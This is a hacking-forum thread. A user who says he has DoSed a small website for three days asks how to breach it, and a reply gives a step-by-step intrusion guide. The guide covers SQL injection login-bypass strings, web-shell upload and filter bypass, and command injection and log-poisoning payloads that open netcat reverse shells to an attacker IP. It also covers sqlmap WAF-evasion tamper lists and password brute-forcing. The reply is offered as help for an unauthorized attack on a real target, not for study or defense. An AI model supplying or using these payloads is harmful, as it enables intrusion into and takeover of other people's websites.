

Forum: [Hack Forums](#)

Thread: [How can I breach a small website?](#)

Henez - February 12, 2018, 4:49 pm

There's a small website that I've DOSed and held down for 3+ days with only 1k~ TCP threads. I want to take it a step further and breach the site. Any tips or help on how I could do so?

kcitrap - February 12, 2018, 6:49 pm

1. nmap -sV -sC -T4 website

-- check services, google each one for known vulnerabilities then google how to exploit them

-- if host is using firewall use -T1 or -T2

-- look for interesting things, like DNS using TCP (usually used for DNS zone transfers) dig @host yourserver axfr

2. Banner grab curl -I host:80

-- check services and methods // look for HTTP PUT and TRACE

-- check for trace curl -k -x TRACE host

3. Scan for directories dirb host -f

-- check for sensitive directories and any hints (robots.txt, wordpress directories, control panels, etc.)

4. Scan for subdomains ./knockpy host

-- check each subdomains and perform all previous steps

3. Manually review host

-- Scroll down to bottom of home page look for version Google vulnerabilities for version

-- inspect source: SEARCHING FOR HTML COMMENTS ; Search for HTML COMMENTS BEGINNING IN <!--a and ending in a--;>

-- Look for login pages. Note if the login page employs captcha and or attempt limits (bruteforce prevention).

Check for POST SQLI:

(password' and 1=1 #) (username: admin

password: random' or 1=1#)

Username: admin' #

password: password is commented out

Check for client-side filtering, if there is, use a proxy like Burpsuite to intercept the request and modify it

Client side filtering works like this:

Your request -> website (filtered) -> request back (intercepted by proxy) -> modified request sent to website's server

-- try registering:

MYSQL ignores whitespace client-side; can registeradmin or admin to steal cookie/session

MYSQL is also case sensitive; can register ADMIN or adMin to steal cookie/session

-- check file uploads. Check for ALL filetype, filesize, and file extension. Download a php shell from online and try to upload it

If php extension is declined; use proxy, save shell as .jpg or accepted extension, upload, modify extension in request back to php, send.

Embed PHP code into image if still declined; Uploads that allow JPEG are convenient for code injection because they have a comment field where PHP code can be written. There are many methods to bypass WAF/IPS/IDS. Google it.

-- check for OS code injection. If found, upload shell via wget or pop reverse shell via netcat: nc -lvp port -> nc -e /bin/bash ip port

When checking: End linux command with ; When ; is filtered try using operators &&, || .. example : ping host; pwd && nc -e /bin/bash attackip port

Look into url encoding, base64, hex etc.

-- look for local file inclusion. toy with parameter passing..

example:

host/gay.php?file -> modify to host/gay.php?=/../../../../../../proc/self/environ

inject code into user agent using <? passthru("nc -e /bin/bash 10.0.2.15 777"); ?> and pop reverse shell

/var/log/auth.log (contains login attempts to server) - try to log into server with php code ssh <? passthru("nc -e /bin/bash 10.0.2.15 777"); ?>@server !! YOU should encrypt with base 64 <? passthru(base64_deoce'base6jfeideijfji=='));?> @ host ... run command refresh URL

-- look for remote file inclusion

check for Allow_url_fopen and Allow_url_include

4. Use fuzzers and scanners. Open Kali, apt-get install vega; run vega, scan host, roll face on keyboard

If scanner finds vulns and you're retarded... uses these tools:

Exploit LFI with tool : fimap (use fimap -h)

Exploit SQLi with tool : sqlmap (use sqlmap -h); modify max threads, if website uses WAF or IDS/IPS, use these tamper scripts:

Code

-tamper=apostrophemask,apostrophencode,appendnullbyte,base64encode,between,bluecoat,harddoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversion,edmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mysqlblank,space2mysqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

Use searchsploit on every service you find with nmap then throw it into msf...

if you can't find anything after all that, bruteforce, in my experience small forum admins don't have very secure passwords, and you already know their username...